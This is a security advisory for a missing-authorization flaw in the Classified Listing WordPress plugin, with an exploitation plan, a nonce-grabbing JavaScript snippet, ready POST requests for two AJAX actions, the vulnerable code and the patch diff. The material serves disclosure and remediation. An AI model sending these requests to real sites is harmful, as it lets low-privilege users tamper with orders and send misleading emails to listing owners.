Classified Listing <= 5.3.10 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Modification via add_order_note and send_email_to_user_by_moderator AJAX Actions
Description
The Classified Listing – AI-Powered Classified ads & Business Directory Plugin plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 5.3.10. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to add arbitrary notes to any order and trigger unsolicited notification and moderation emails to listing owners without administrative authorization.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.3.10What Changed in the Fix
Changes introduced in v5.4.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-7563 (Classified Listing) ## 1. Vulnerability Summary **Vulnerability Type:** Missing Authorization **Target Plugin:** Classified Listing – AI-Powered Classified ads & Business Directory Plugin **Affected Versions:** <= 5.3.10 **Vulnerable Actions:** `rtcl_add…
Show full research plan
Exploitation Research Plan: CVE-2026-7563 (Classified Listing)
1. Vulnerability Summary
Vulnerability Type: Missing Authorization
Target Plugin: Classified Listing – AI-Powered Classified ads & Business Directory Plugin
Affected Versions: <= 5.3.10
Vulnerable Actions: rtcl_add_order_note and rtcl_send_email_to_user_by_moderator
Severity: Medium (CVSS 4.3)
The vulnerability exists because two AJAX handlers—add_order_note and send_email_to_user_by_moderator—fail to implement any capability checks (current_user_can). While they verify a WordPress nonce, the nonce is available to any authenticated user (Subscriber level and above). This allows a Subscriber to add arbitrary notes to any Order ID (IDOR) and trigger moderation emails for any Listing ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Authentication: Required (Subscriber level or higher)
- Actions:
action=rtcl_add_order_note(adds notes to orders)action=rtcl_send_email_to_user_by_moderator(triggers emails for listings)
- Preconditions:
- The attacker must be authenticated as a Subscriber.
- For
rtcl_add_order_note, the attacker needs a targetpost_idcorresponding to an order. - For
rtcl_send_email_to_user_by_moderator, the attacker needs a targetpost_idcorresponding to a listing.
3. Code Flow
Case A: Arbitrary Order Note
- Entry Point:
app/Controllers/Hooks/Comments.phpregisterswp_ajax_rtcl_add_order_notetoadd_order_note(). - Nonce Check:
wp_verify_nonceis called usingrtcl()->nonceIdandrtcl()->nonceText. - Missing Auth: The function immediately proceeds to extract
post_id,note, andnote_typefrom$_POST. No check is made to ensure the user is an admin or the owner of the order. - Sink:
$order->add_note($note, $is_customer_note, true)is called, which creates a new comment of typertcl_order_noteattached to thepost_id.
Case B: Unsolicited Moderation Emails
- Entry Point:
app/Controllers/Ajax/ListingAdminAjax.phpregisterswp_ajax_rtcl_send_email_to_user_by_moderatortosend_email_to_user_by_moderator(). - Nonce Check:
wp_verify_nonceis called. - Missing Auth: The function proceeds to extract
post_idandmessage. - Sink:
rtcl()->mailer()->emails['Listing_Moderation_Email_To_Owner']->trigger($post_id, $data)is called, sending an email to the listing owner containing the arbitrarymessage.
4. Nonce Acquisition Strategy
The plugin localizes the nonce into a JavaScript object named rtcl.
- Shortcode Identification: The plugin typically enqueues its core scripts on listing pages or the user dashboard. However,
ScriptLoader.phpshows thatrtcl-verify-jsis registered on the login page vialogin_enqueue_scripts, andrtcl-commonis enqueued on the frontend. - Strategy:
- Log in as a Subscriber.
- Create a simple page with the listing dashboard shortcode:
[rtcl_my_account]. - Navigate to that page.
- Use
browser_evalto extract the nonce ID and value.
- JS Variable Identification:
- Inspect the
rtclobject:window.rtcl. - The nonce key is stored in the property matching the value of
rtcl()->nonceId. - Based on the source code in
ScriptLoader.php, the localized object isrtcl.
- Inspect the
Actionable JS Extraction:
// To find the nonce key and value
const nonceKey = Object.keys(window.rtcl).find(k => k.includes('nonce'));
const nonceValue = window.rtcl[nonceKey];
return { nonceKey, nonceValue };
5. Exploitation Strategy
Step 1: Add Arbitrary Order Note
Request:
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtcl_add_order_note&post_id=123¬e=UnAuthorized_Note_Added¬e_type=customer&[NONCE_KEY]=[NONCE_VALUE]
(Replace 123 with a valid Order ID; Replace [NONCE_KEY] with the key found in step 4).
Step 2: Trigger Moderation Email
Request:
- URL:
http://vulnerable-wp.local/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=rtcl_send_email_to_user_by_moderator&post_id=456&message=Your+account+is+under+review+for+malpractice.&[NONCE_KEY]=[NONCE_VALUE]
(Replace 456 with a valid Listing ID).
6. Test Data Setup
- Target Admin User: Ensure an admin user exists.
- Target Content:
- Create a Listing (Post Type:
rtcl_listing) as the Admin. Note its ID. - Create an Order (Post Type:
rtcl_order) as the Admin. Note its ID.
- Create a Listing (Post Type:
- Attacker User:
- Create a user with the
subscriberrole.
- Create a user with the
- Nonce Page:
- Create a page at
/nonce-grabbercontaining the shortcode[rtcl_my_account].
- Create a page at
7. Expected Results
- Order Note: The AJAX response should contain JSON with an
htmlkey containing the rendered list item for the new note. - Moderation Email: The AJAX response should contain
{"error":false,"message":"Successfully sent","class":"rtcl-flash-success"}.
8. Verification Steps
Verify Order Note via WP-CLI:
# Check for comments of type 'rtcl_order_note' on the target post
wp comment list --post_id=123 --meta_key=is_customer_note
Verify Moderation Email Trigger via Database:
# Check if the notification count incremented in post meta
wp post meta get 456 _notification_by_moderator
9. Alternative Approaches
If rtcl_add_order_note fails due to strict Order object instantiation, use rtcl_delete_order_note to test for authorization. Note that delete_order_note in Comments.php (line 126) does have a capability check: current_user_can('manage_rtcl_options'). The contrast between the two functions in the same file confirms that add_order_note is the primary vulnerability.
Summary
The Classified Listing plugin for WordPress is vulnerable to unauthorized data modification and email triggering due to missing capability checks in the `rtcl_add_order_note` and `rtcl_send_email_to_user_by_moderator` AJAX actions. This allows authenticated users with subscriber-level permissions or higher to add arbitrary notes to any order and send unsolicited moderation emails to listing owners.
Vulnerable Code
// app/Controllers/Hooks/Comments.php (Line 41-55) static function add_order_note() { if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) { wp_die( -1 ); } $post_id = absint( $_POST['post_id'] ); $note = wp_kses_post( trim( wp_unslash( $_POST['note'] ) ) ); $note_type = Functions::clean( wp_unslash( $_POST['note_type'] ) ); $is_customer_note = ( 'customer' === $note_type ) ? 1 : 0; $html = ''; if ( $post_id > 0 ) { $order = rtcl()->factory->get_order( $post_id ); $comment_id = $order->add_note( $note, $is_customer_note, true ); --- // app/Controllers/Ajax/ListingAdminAjax.php (Line 36-46) function send_email_to_user_by_moderator() { $error = true; $class = 'rtcl-flash-warn'; if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) { $post_id = ! empty( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0; $message = ! empty( $_POST['message'] ) ? esc_textarea( $_POST['message'] ) : ''; $post = get_post( $post_id ); if ( $post && $message ) { $data['message'] = $message; $is_send = rtcl()->mailer()->emails['Listing_Moderation_Email_To_Owner']->trigger( $post_id, $data );
Security Fix
@@ -36,6 +36,16 @@ } function send_email_to_user_by_moderator() { + if ( ! current_user_can( 'manage_rtcl_options' ) ) { + wp_send_json( + [ + 'error' => true, + 'message' => esc_html__( 'Unauthorized access!!!', 'classified-listing' ), + 'class' => 'rtcl-flash-warn', + ], + ); + } + $error = true; $class = 'rtcl-flash-warn'; if ( wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) { @@ -49,7 +49,11 @@ */ static function add_order_note() { if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) || ! isset( $_POST['post_id'], $_POST['note'], $_POST['note_type'] ) ) { - wp_die( -1 ); + wp_die( - 1 ); + } + + if ( ! current_user_can( 'manage_rtcl_options' ) ) { + wp_die( - 1 ); }
Exploit Outline
The exploit targets the `/wp-admin/admin-ajax.php` endpoint. An attacker first authenticates as a Subscriber and retrieves a valid nonce from the global `rtcl` JavaScript object, which is localized on most frontend listing pages or the user dashboard. To add an arbitrary note to an order, the attacker sends a POST request with the action `rtcl_add_order_note`, the target `post_id` of an order, and the `note` content. To trigger a moderation email, the attacker sends a POST request with the action `rtcl_send_email_to_user_by_moderator`, the `post_id` of a listing, and a custom `message`. Both actions only verify the nonce and do not check if the user has the 'manage_rtcl_options' capability.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.